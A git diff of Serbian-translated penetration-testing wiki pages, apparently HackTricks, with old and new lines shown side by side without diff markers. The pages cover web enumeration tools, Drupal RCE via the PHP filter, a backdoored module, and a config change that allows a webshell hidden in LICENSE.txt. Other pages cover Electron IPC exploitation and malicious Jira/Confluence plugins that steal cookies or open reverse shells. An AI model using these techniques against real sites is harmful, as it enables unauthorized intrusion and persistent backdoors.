* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa duplim funkcionalnostima (na osnovu js uvoza).
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ukloni URL-ove sa duplim funkcionalnostima (na osnovu js uvoza).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za otkrivanje korišćenih tehnologija i odabir rečnika za korišćenje.
**Preporučeni rečnici:**
@ -283,20 +283,20 @@ Alati:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forcovati._
_Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Force-ovati._
### What to check on each file found
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju.
* **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Otkrivanje novih parametara**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre u svakoj izvršnoj web datoteci.
* **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre u svakoj izvršnoj web datoteci.
* _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**.
* Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
* **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Ako se igrate **CTF**, "uobičajena" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
* **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
* **S3 Buckets**: Tokom spidering-a proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/).
@ -307,17 +307,17 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
**Zanimljive datoteke**
* Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka.
* [Ako pronađete _**.git**_ datoteku, neka informacija može biti ekstraktovana](git.md)
* [Ako pronađete _**.git**_ datoteku, neke informacije se mogu izvući](git.md).
* Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke baza podataka i druge informacije mogu se pronaći.
* Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
* **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati puteve iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
* Ako pronađete **API krajnje tačke** [trebalo bi da ih takođe testirate](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
* **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu izvući putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
* Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li je ranjiva.
* **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
* **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* U nekoliko slučajeva biće potrebno da **razumete regularne izraze** koji se koriste, ovo će biti korisno: [https://regex101.com/](https://regex101.com)
* Takođe možete **pratiti datoteke gde su obrasci otkriveni**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
* U nekoliko slučajeva biće potrebno da **razumete regularne izraze** koji se koriste, ovo će biti korisno: [https://regex101.com/](https://regex101.com).
* Takođe možete **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -327,7 +327,7 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
**502 Proxy Error**
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
Ako neka stranica **odgovara** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
**NTLM Authentication - Info disclosure**
@ -337,7 +337,7 @@ Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_"
**HTTP Redirect (CTF)**
Moguće je **staviti sadržaj** unutar **Redirekcije**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti redirekciju) ali nešto bi moglo biti **sakriveno** unutra.
Moguće je **staviti sadržaj** unutar **Redirekcije**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti redirekciju), ali nešto bi moglo biti **sakriveno** unutra.
### Web Vulnerabilities Checking
@ -355,9 +355,9 @@ Pronađite više informacija o web ranjivostima na:
### Monitor Pages for changes
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle umetnuti ranjivosti.
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica zbog modifikacija koje bi mogle umetnuti ranjivosti.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_tečno poljski pisano i govorno potrebno_).

View file

@ -1,8 +1,8 @@
# Drupal RCE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -21,9 +21,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
{% endhint %}
Potrebno je da **plugin php bude instaliran** (proverite pristupom _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
Potrebno je da **plugin php bude instaliran** (proverite pristupajući _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
Idite na _Modules_ -> (**Proverite**) _PHP Filter_ -> _Sačuvajte konfiguraciju_
Idite na _Modules_ -> (**Proverite**) _PHP Filter_ -> _Sačuvaj konfiguraciju_
![](<../../../.gitbook/assets/image (247) (1).png>)
@ -31,7 +31,7 @@ Zatim kliknite na _Add content_ -> Izaberite _Basic Page_ ili _Article -_> Napi
![](<../../../.gitbook/assets/image (338).png>)
Na kraju, jednostavno pristupite novokreiranom čvoru:
Na kraju, samo pristupite novokreiranom čvoru:
```bash
curl http://drupal-site.local/node/3
```
@ -80,7 +80,7 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Pretpostavljajući da imamo **administrativni pristup** vebsajtu, kliknite na **`Manage`** i zatim **`Extend`** u bočnoj traci. Zatim, kliknite na dugme **`+ Install new module`**, i bićemo preusmereni na stranicu za instalaciju, kao što je `http://drupal-site.local/admin/modules/install`. Pretražite arhivu sa backdoored Captcha i kliknite na **`Install`**.
* Pretpostavljajući da imamo **administrativni pristup** vebsajtu, kliknite na **`Manage`** i zatim **`Extend`** u bočnoj traci. Zatim, kliknite na dugme **`+ Install new module`**, i bićemo preusmereni na stranicu za instalaciju, kao što je `http://drupal-site.local/admin/modules/install`. Pretražite arhivu sa backdoor-ovanim Captcha-om i kliknite na **`Install`**.
* Kada instalacija uspe, pretražite **`/modules/captcha/shell.php`** da izvršite komande.
## Backdooring Drupal sa sinhronizacijom konfiguracije <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@ -93,24 +93,24 @@ U meniju _Extend_ (/admin/modules), možete aktivirati ono što se čini kao ve
Pre aktivacije:
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
Posle aktivacije:
Nakon aktivacije:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deo 2 (iskorišćavanje funkcije _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Iskoristićemo funkciju _Configuration synchronization_ da dumpujemo (izvezemo) i otpremimo (importujemo) Drupal konfiguracione unose:
Iskoristićemo funkciju _Configuration synchronization_ da dump-ujemo (izvezemo) i upload-ujemo (import-ujemo) Drupal konfiguracione unose:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**Patch system.file.yml**
Hajde da počnemo sa patchovanjem prvog unosa `allow_insecure_uploads` iz:
Hajde da počnemo sa patch-ovanjem prvog unosa `allow_insecure_uploads` iz:
File: system.file.yml
```
@ -122,11 +122,11 @@ allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
Da:
Fajl: system.file.yml
File: system.file.yml
```
...
@ -136,11 +136,11 @@ allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
Zatim, ispravite drugi unos `file_extensions` iz:
Zatim, zakrpite drugi unos `file_extensions` iz:
File: field.field.media.document.field\_media\_document.yml
```
@ -152,9 +152,9 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
...
```
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Na:
Da:
Fajl: field.field.media.document.field\_media\_document.yml
```
@ -168,7 +168,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
```
> Ne koristim to u ovom blog postu, ali je zabeleženo da je moguće definisati unos `file_directory` na proizvoljan način i da je podložan napadu prečicom (tako da možemo da se vratimo unazad unutar Drupal datotečnog sistema).
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Deo 3 (iskorišćavanje funkcije _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
@ -192,15 +192,15 @@ php_flag engine on
php_flag engine on
</IfModule>
```
Zašto je ovaj trik cool?
Zašto je ova trik cool?
Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web server, možemo prenositi naše komande putem `$_COOKIE` i u logovima Web servera, ovo će se prikazati kao legitimni GET zahtev za tekstualnom datotekom.
Zašto nazvati naš Webshell LICENSE.txt?
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog isječka PHP koda u sredinu (pošto je datoteka dovoljno velika).
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog snippeta PHP koda u sredini (pošto je datoteka dovoljno velika).
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
Datoteka: Patchovana LICENSE.txt
```txt
@ -235,21 +235,21 @@ programs whose distribution conditions are different, write to the author
Prvo, koristimo funkciju _Add Document_ (/media/add/document) da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
**Deo 3.2 (upload file LICENSE.txt)**
Zatim, ponovo koristimo funkciju _Add Document_ (/media/add/document) da otpremimo Webshell skriven unutar fajla sa licencom.
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Deo 4 (interakcija sa Webshell-om) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
@ -257,21 +257,21 @@ Poslednji deo se sastoji od interakcije sa Webshell-om.
Kao što je prikazano na sledećem ekranu, ako kolačić koji očekuje naš Webshell nije definisan, dobijamo sledeći rezultat prilikom konsultovanja fajla putem Web pretraživača.
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
Kada napadač postavi kolačić, može da interaguje sa Webshell-om i izvrši bilo koje komande koje želi.
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
I kao što možete videti u logovima, izgleda da je samo txt fajl zatražen.
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
Hvala vam što ste odvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.
Hvala što ste odvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Electron contextIsolation RCE via IPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -21,9 +21,9 @@ Ako preload skripta izlaže IPC krajnju tačku iz main.js datoteke, proces rende
## Primer 0
Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate puni primer kako je MS Teams zloupotrebljavao XSS do RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate ceo primer kako je MS Teams zloupotrebljavao XSS za RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Primer 1
@ -95,7 +95,7 @@ shell.openExternal(url);
```
## Example 3
Ako skripta za učitavanje omogućava potpunu komunikaciju sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od onoga što glavni proces izlaže u smislu IPC.
Ako skripta za učitavanje omogućava potpuno komuniciranje sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od onoga što glavni proces izlaže u smislu IPC.
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
};
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
U Jiri, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem krajnjih tačaka `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ove krajnje tačke otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja bi mogla biti podobna za **nagradu**. Slično tome, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**.
Važna **ažuriranja** su izvršena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se ispituju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
Važna **ažuriranja** su izvršena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se pretražuju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -85,7 +85,7 @@ Kao što je navedeno u ovom [**blogu**](https://cyllective.com/blog/posts/atlass
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Izlaže RESTful API krajnje tačke
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Implementira Java servlete kao deo plugina
* [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementira Confluence makroe, tj. parametrisane HTML šablone
* [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementira Confluence makroe, tj. parametarske HTML šablone
Ovo je primer tipa macro plugina:
```java
@ -122,14 +122,14 @@ Kada se pronađe XSS, u [**ovoj github repozitorijumu**](https://github.com/cyll
Ovo su neke od radnji koje bi maliciozni dodatak mogao da izvrši:
* **Skrivanje dodataka od administratora**: Moguće je sakriti maliciozni dodatak injektovanjem nekog front-end javascript-a.
* **Skrivenje dodataka od administratora**: Moguće je sakriti maliciozni dodatak injektovanjem nekog front-end javascript-a.
* **Ekstrakcija priloga i stranica**: Omogućava pristup i ekstrakciju svih podataka.
* **Krađa sesion tokena**: Dodajte endpoint koji će echo-ovati zaglavlja u odgovoru (sa kolačićem) i neki javascript koji će kontaktirati taj endpoint i procuriti kolačiće.
* **Izvršavanje komandi**: Naravno, moguće je kreirati dodatak koji će izvršavati kod.
* **Obrnuta ljuska**: Ili dobiti obrnutu ljusku.
* **DOM proksiranje**: Ako je Confluence unutar privatne mreže, bilo bi moguće uspostaviti vezu kroz pregledač nekog korisnika koji ima pristup i, na primer, kontaktirati server za izvršavanje komandi kroz njega.
